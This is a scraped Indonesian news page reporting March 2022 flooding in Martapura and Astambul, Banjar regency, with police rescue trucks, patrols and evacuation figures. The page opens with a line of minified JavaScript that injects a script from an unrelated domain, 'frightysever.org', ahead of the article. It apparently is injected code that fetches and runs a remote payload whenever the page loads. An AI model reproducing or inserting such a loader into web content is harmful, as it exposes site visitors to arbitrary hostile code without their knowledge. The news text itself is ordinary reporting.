(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jalanan Terendam, Truk Satbrimob Polda Kalsel Bantu Warga Martapura Melintasi Banjir


KANALKALIMANTAN.COM, MARTAPURA – Hujan deras sejak hari Sabtu lalu yang melanda Kabupaten Banjar, mengakibatkan puluhan rumah warga terendam banjir, dengan ketinggian hingga lutut kaki orang dewasa. Genangan air paling tinggi hingga lutut kaki orang dewasa terjadi di Desa Tunggul Irang dan Desa Bincau Kecamatan Martapura, juga di Desa Pasar Jati Baru Kecamatan Astambul.

Seperti terpantau di Desa Pasar Jati Baru Kecamatan Astambul dan Desa Bincau Hulu Kecamatan Martapura Timur Kabupaten Banjar. Tim SAR Satbrimob Polda Kalsel menurunkan satu unit truk polisi guna membantu warga yang mengalami kesulitan ketika akan melintas.

Sebelumnya personil Polsek Martapura Kota, Aiptu M Sobri bersama Bhabinkamtibmas Desa Bincau Bripka Taufiq H mengatakan banjir yang meluap ke jalan tersebut menyebabkan kendaraan tidak bisa melintas, sehingga disarankan untuk mencari jalan alternatif lain.

“Bagi kendaraan agar selalu berhati hati untuk melewati jalan tersebut, terutama untuk roda dua disarankan untuk mencari jalan alternatif, untuk roda empat masih bisa,” imbau Aiptu M Sobri.

 

 

Baca juga: Air Sungai Martapura Meluap, Rendam Jalan hingga Rumah Warga

Patroli gabungan pun turut dilakukan Tim SAR Satbrimob Polda Kalsel, dipimpin oleh Danki 1 Batalyon B Pelopor AKP Bambang Setyo Adhi bersama personil Polres Banjar, di beberapa wilayah yang terendam banjir.

“Patroli gabungan dilakukan guna memantau debit air sekaligus memberikan himbauan kepada kepada warga untuk tetap waspada dan berhati hati karena dikhawatirkan sewaktu waktu ketinggian air dapat meningkat,” ujar AKP Bambang Setyo.

Kepala Pelaksana Badan Penanggulangan Bencana Daerah Kabupaten Banjar, Ahmad Solhan mengungkapkan pihaknya masih melakukan pendataan dan evakuasi bagi warga yang rumahnya terendam banjir.

Senin pagi, kondisi warga yang terdampak sebagian besar sudah melakukan pengungsian, khususnya lansia yang sedang sakit sudah diungsikan ke rumah kerabatnya.

“Dengan ketinggian air yang mengalami peningkatan hari ini, warga di Jalan Melati dan Jalan Cempaka Desa Tunggul Irang sebagian besar sudah melakukan pengungsian khususnya lansia yang sakit sudah sudah diungsikan ke rumah keluarganya. Namun, untuk saat ini sebagian warga masih memilih bertahan di rumah,” ujar Ahmad Solhan, kepada kanalkalimantan.com, Selasa (22/3/2022).

Namun beberapa warga masih memilih untuk bertahan dirumah dan beraktivitas dengan normal, walaupun kondisi banjir masih merendam di beberapa wilayah. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.